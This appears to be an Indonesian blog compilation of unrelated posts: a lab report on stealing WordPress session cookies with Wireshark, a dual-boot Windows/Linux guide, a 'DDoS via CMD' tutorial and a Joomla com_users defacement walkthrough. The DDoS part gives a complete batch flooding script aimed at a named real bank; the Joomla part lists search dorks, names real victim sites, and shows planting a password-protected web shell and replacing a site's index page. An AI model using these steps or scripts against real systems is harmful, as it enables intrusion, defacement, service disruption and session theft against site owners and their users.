Session Hijacking

A.PENDAHULUAN

1.Latar Belakang

Hijacking adalah suatu kegiatan yang berusaha untuk memasuki (menyusup) ke dalam sistem melalui sistem operasional lainnya yang dijalankan oleh seseorang ( Hacker). Sistem ini dapat berupa server, jaringan/networking (LAN/WAN), situs web, software atau bahkan kombinasi dari beberapa sistem tersebut.  Namun perbedaanya adalah Hijacker menggunakan bantuan software atau server robot untuk melakukan aksinya, tujuanya adalah sama dengan para cracker namun para hijacker melakukan lebih dari para cracker, selain mengambil data dan informasi pendukung lain, tidak jarang sistem yang dituju juga diambil alih, atau bahkan dirusak. Dan yang paling sering dilakukan dalam hijacking adalah Session Hijacking.

Didalam melakukan percobaan session hijacking kami menggunakan sebuah software yang bernama “Wireshark”. Wireshark adalah sebuah software yang digunakan untuk memonitoring packet jaringan yang terdapat pada suatu jaringan.

B.PEMBAHASAN

Pengertian Session Hijacking

Session hijacking merupakan aksi pengambilan kendali session milik user lain setelah sebelumnya "pembajak" berhasil memperoleh autentifikasi ID session yang biasanya tersimpan dalam cookies. Session hijacking menggunakan metode Capture, Brute Forced atau Reserve Enggineered guna memperoleh ID Session, yang untuk selanjutanya pembajak memegang kendali atas session yang dimiliki oleh user lain tersebut selama session berlangsung.

C. CARA KERJA

Ketika kita login ke suatu situs di internet, server situs akan memberikan kita sebuah pengenal kepada kita yang kemudian akan disimpan di browser. Pengenal ini bernama "session cookies" atau sering disebut "cookies". Karena pengenal tersebut ketika kita masuk lagi ke situs yang tadi kita login (tanpa logout sebelumnya) maka kita akan langsung masuk ke situs tersebut tanpa memasukkan username dan password lagi.

Kenapa hal ini terjadi? ini semua karena cookies. Server situs akan mengirimkan cookies ke komputer kita sebagai pengenal bahwa kita adalah pemilik akun yang sah dan apa bila kita menggunjungi situs itu lagi kita akan langsung login karena kita dikenal sebagai pemilik akun situs tersebut.

Karena cara kerja session cookies inilah muncul HTTP Session Hijacking . Sistem kerja HTTP Session Hijacking adalah menduplikasi session cookies dan menyimpannya di komputer kita sehingga ketika kita mengunjungi situs tempat korban login maka kita langsungl login karena kita dianggap pemilik akun yang sah karena memiliki cookies yang server berikan.

D. PERCOBAAN

·         METODE

Dibawah ini merupakan langkah memfilter pada wordpress
1.Pertama masuk ke halaman wordpress.com untuk login ke wordpress

 

2. Kemudian masuk ke software wireshark untuk melakukan filtering pada wordpress

Pilih capture option lalu klik start

3. Kemudian kita ketik “http.cookie contains wordpress” pada  filter

    4.Setelah melakukan filtering pilih info yang berbentuk “post” kemudian kita klik lalu cari cookie    yang terdapat pada post tersebut. Kemudian klik kanan pada cookie tersebut pilih byte lalu pilih printable text only.

 

5. Langkah selanjutnya masuk kedalam Mozilla untuk memasukkan cookie yang sudah dicopy pada wireshark. Pilih cookie manager klik file pilih add lalu masukkan cookie pada isi kemudian klik save.

     

6. Setelah memasukkan cookie dan mengsave langkah selanjutnya yaitu masuk ke wordpress.com untuk mengeluarkan dari wordpress

·         HASIL

Dari langkah diatas dapat kita lihat hasil pencurian cookie pada wordpress dengan menggunakan wireshark.

 

·         ANALISA

Dari percobaan diatas bahwa session hijacking merupakan pengambilan cookies dari web pada suatu situs yang protokolnya HTTP, untuk HTTPS akan sulit mengambil cookies dari web karena terdapat pengamanan yang ekstra

 E.KESIMPULAN

Dari percobaan diatas dapat disimpulkan bahwa session hijacking merupakan sebuah dengan menggunakan software wireshark dapat mencuri cookie seseorang

video: http://www.youtube.com/watch?v=ch0r-mYihvw

Cara Dual Bot Win 7 & Linux

Saat kita ingin mempelajari Linux, terkadang kita akan berat menghapus Windows yang telah terpasang bertahun-tahun di komputer kita. Apalagi bila banyak pekerjaan (yang berhubungan dengan komputer tentunya) yang masih harus diselesaikan dengan menggunakan sistem operasi Windows.

Tetapi jangan galau dulu sobat. Linux dapat di install berdampingan dengan Windows, tetapi dengan syarat menggunakan partisi yang berbeda. Untuk itu kali ini saya akan membahas mengenai cara membagi partisi Windows untuk di install Linux. Istilahnya Dual Boot, jadi 1 komputer di pasang 2 sistem operasi yang berbeda.

1. Menyipkan Partisi Kosong (freespace)

Resize partisi windows :
1. Buka Control Panel

2. Pilih System and Security lalu klik Create and format hard disk partitions.

3. Klik kanan pada gambar partisi yang hendak diubah ukurannya, lalu pada menu yang muncul pilih Shrink Volume.

  

disini saya memilih drive DATA (D) yang akan di kecilkan partisinya.

4. Pada kotak dialog yang muncul, di bagian "Enter the amount of space to shrink in MB", masukkan angka yang Anda inginkan untuk partisi baru (dalam MB).

Dalam contoh ini saya ingin partisi baru untuk instalasi linux sebesar 30GB maka sama memasukkan angka 30000 di bagian "Enter the amount of space to shrink in MB". Bila sudah klik tombol Shrink.

Penjelasannya :

Enter the amount of space to shrink in MB artinya disini sobat memasukkan jumlah space yang akan dipotong, pada gambar di atas saya memotong partisi DATA sebesar 30GB. Jumlah space yang dimasukkan tidak boleh melebihi pada tulisan Size of avaliable shink space in MB.

5. Setelah partisi dibuat maka akan muncul partisi baru seperti ini :

Sekarang partisi kosong sudah siap. Anda bisa melakukan instalasi Linux dan ditujukan pada partisi kosong tadi.

2. Membuat Installer linux

Salah satu kelebihan linux adalah linux dapat dijalankan secara Live. Maksudnya kita dapat menjalankan/booting linux melalui media lain seperti Flashdisk, CD/DVD dan bahkan melalui memory card sebelum melakukan installasi.

Coba anda bandingkan kedua gambar dibawah ini :

Tampilan installer Windows XP

Tampilan Installer Linux Mint 13 KDE

Dari gambar diatas terlihat bahwa installer linux mint lebih baik dibandingkan dengan windows xp. Linux dapat langsung digunakan (baca: secara live) sebelum melakukan tahap installasi.

3. Tahap Installasi Distro Linux

Ini adalah tahapan proses install linux. Anda dapat memilih distro linux yang mudah untuk digunakan seperti Ubuntu, Linux Mint, Fedora, OpenSuse, atau yang lainnya. Distro tersebut memiliki tampilan grafis yang mudah dan siap untuk dipakai.

Saran dari saya, terutama untuk pemula yang baru bermigrasi ke linux, jangan terlalu memaksa menggunakan distro yang "rumit" seperti Backtrack, Slackware, Arch Linux. Mengapa? karena distro tersebut lebih sulit.

Cara Membuat DDoS VIA CMD

Kali ini saya akan mempraktekkan DDOS melalui Notepad. Langsung saja, berikut tutorialnya:

LANGKAH 1: 
Copy code-code dibawah ini :


Code:

    @echo off
    mode 67,16
    title DDOS Attack
    color 0a
    cls
    echo.
    echo DDOS With Batchfile
    echo.
    set /p x=Server-Target:
    echo.
    ping %x%
    @ping.exe 127.0.0.1 -n 5 -w 1000 > nul
    goto Next
    :Next
    echo.
    echo.
    echo.
    set /p m=ip Host:
    echo.
    set /p n=Packet Size:
    echo.
    :DDOS
    color 0c
    echo Attacking Server %m%
    ping %m% -i %n% -t >nul
    goto DDOS


LANGKAH 2:
Buka application notepad dan paste code-code diatas tadi.

LANGKAH 3:
Save file anda seperti dibawah :

File Name : DDoS Attack.bat
Save As Type : All File <--- PENTING

    Quote: bisa disave dgn namafile bebas sesuka bro n sist..
    tapi ingat , File Extensi harus berformat .Bat


Cara-cara menggunakannya :
1. Double click file anda itu.
2. Akan tertera : Server-Target:
Masukkan alamat/url website anda.pastikan tidak ada http:// di depan dan / di belakang url.

    Quote:Contoh :
    Sebelum = http://www.cbbank.com.mm/
    Tukarkan kepada = www[.]cbbank[.]com[.]mm

    *hilangkan tanda '[]'.
    Setelah memasukkan url itu, tekan enter.


LANGKAH 4:
Selepas itu, website itu akan di-ping untuk mendapatkan ip address.Anda memerlukan IP Address itu.

Setelah selesai ping, akan keluar seperti ini :

Pinging http://www.cbbank.coim.mm

[122.248.112.137 with 32 bytes of data:
Reply from 122.248.112.137: bytes=32 time=30ms TTL=56
Reply from 122.248.112.137: bytes=32 time=40ms TTL=55
Reply from 122.248.112.137: bytes=32 time=24ms TTL=56
Reply from 122.248.112.137: bytes=32 time=36ms TTL=56

Ping statistics for 122.248.112.137:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 24ms, Maximum = 40ms, Average = 32ms

122.248.112.137 <----- IP address bagi http://www.cbbank.com.mm

    Quote: cara sama kok untuk web yg lain 

4. Selepas itu, akan terpapar di tool itu : ip Host:
Masukkan saja ip address yg anda dapat tadi.

Contoh :
ip Host:122.248.112.137

dan tekan enter.

5. Pada akhirnya akan keluar pula : Packet Size :
Letakkan letakkan semau anda sebagai POWER !

Contoh :
Packet Size : 10000000 

(packet size sesuai dengan sesuka hati anda)

Dan tekan enter.

6. Akan terpapar : Attacking Server 122.248.112.137

Itu bermakna tool itu sedang menjalankan tugasnya(DDoS).

Jika ingin hasil yang maksimal , harus DDOS dengan beberapa komputer biar cepat down targetnya.

Sekian tutorial ini, agar bisa menjadi bahan pembelajaran bagi para Admin Server untuk selalu meningkatkan keamanan servernya. Salah satunya bisa menggunakan DDOS Protection, dll.

Exploit Joomla

ok karena banyak dari kalian yang meminta tutor deface dengan trik com_user, kali ini saya akan memberi gambaran tentang deface dengan com_user. ok langsung ja ke TKP

1. Download dulu xploit joomla
Exploit Jombla Download
Exploit Jombla 2 Download
dan download shell 1n73ction Disini

Dork:

inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br
site:com inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 - open source content management site:
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com
intext:joomla! 1.7 - open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id
inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as
inurl:index.php/19-sample-data-articles/joomla site:com 

Jangan Lupa Dork kembangin lagi :)

Exploit :
index.php?option=com_users&view=registration

selanjutnya cari target vuln dengan dork diatas. yang kalian perlu tau perbedaan site vul dengan tidak vuln liat gambar berikut :

Kali ini saya sudah dapat target http://esv.be
lalu kita exploit sehingga menjadi http://esv.be/%20index.php?option=com_users&view=registration
dan tampilanya menjadi seperti gambar

 setelah itu tekan ctrl+u dan kemudian tekan ctrl+f lalu ketik "hidden" (tanpa tanda petik)
dan cari kode seperti yang saya tunjuk panah merah itu

 setelah ketemu,buka file xploit yang kamu download tadi buka ke notepad,lalu copy code yang seperti digambar diatas dan pastekan di file exploit tadi. lihat gambar

ok setelah itu copy juga url web target http://gym-megal.tri.sch.gr dan pastekan di file exploit. lihatr gambar

nb: ganti tulisan test@gmail dengan alamat gmail kamu,atas bawah harus sama ya... :) ok lanjut
setela itu klik save.
kemudian cari dimana kamu menyimpan file exploit tadi dan klik 2 x jadi seperti ini

dan klik Register
Nanti kalian akan dibawa ke halaman register lagi. isi passwordnya sesukamu. lihat gambar

pada kali ini pssword ane ini "kacang",dan klik yang register pada tnda merah itu artinya register,jika vuln maka akan seperi gambar

dan link konfirmasi akan dikirim ke email kamu.

sekarang kita buka email kita liaht pada kotak masuk apakah sudah terkirim link konfirmasi apa blm
ok setelah link konfirmsi msuk ke email kita kita klik link nya. Lihat gambar

setelah di klik nanti akan di arahkan kesini. lihat gambar

isikan user name : genesis
password : kacang

sesuai dengan yang di email yang kita terima tadi, setelah login akan seperti ini. lihat gambar

Ok registrasi selesai,,,ada pertanyaan sampai sini..???
kalu ga ada kita lanjut ke halaman administratornya http://esv.be/administrator/

Masukkan username : genesis
dan pssword : kacang
lalu klik login
daaaaannn...taraaaaaaa kita masuk ke cpanelnya

lalu klik pada template nya seperti yang saya kasih tanda panah merah itu.

setelah itu klik templates  yang saa beri panah seperti pada gambar di bawah

pilih satu template.kali ini saya memilih "atomic"

setelah di klik lalu klik Wijzigen hoofdpagina template lihat gambar

hapus smua code yang ada pada kotak tersebut

ok...sekarang buka file shell yang kalian download tadi. klik kanan open with notepad.
kopi code script shellnya dan pastekan di kotak tadi lalu klik save. Lihat gambar

jika shell tertanam dan suk sukses akan seperti gambar

saatnya memanggil shell, jadi perintahnya http://esv.be/templates/atomic/index.php dan enter maka akan ada tampilan backdoor. setelah itu tekan Tab pada keyboart atau arahkan kursor ke tengah yang saya beri tanda panah.Lihat gambar

 dan masukan paswordnya 1n73ction dan enter. Lihat gambar

setelah itu anda akan melihat tampilan shell.

setelah itu klik atomic.lihat gambar

cari index.php dan klik edit .Lihat gambar

haspus semua code yang da di dalam kotak dan ganti dengan script deface kamu. Lihat gambar

ubah /customers/4/9/f/esv.be/httpd.www/templates/atomic/index.php menjadi /customers/4/9/f/esv.be/httpd.www/index.php dan klik save.
setelah itu buka url webnya dan silahkan di show offin dah

hasil esv.be/

ok sekian dari saya jangan lupa gabung juga di grup kami IDN Cyber Team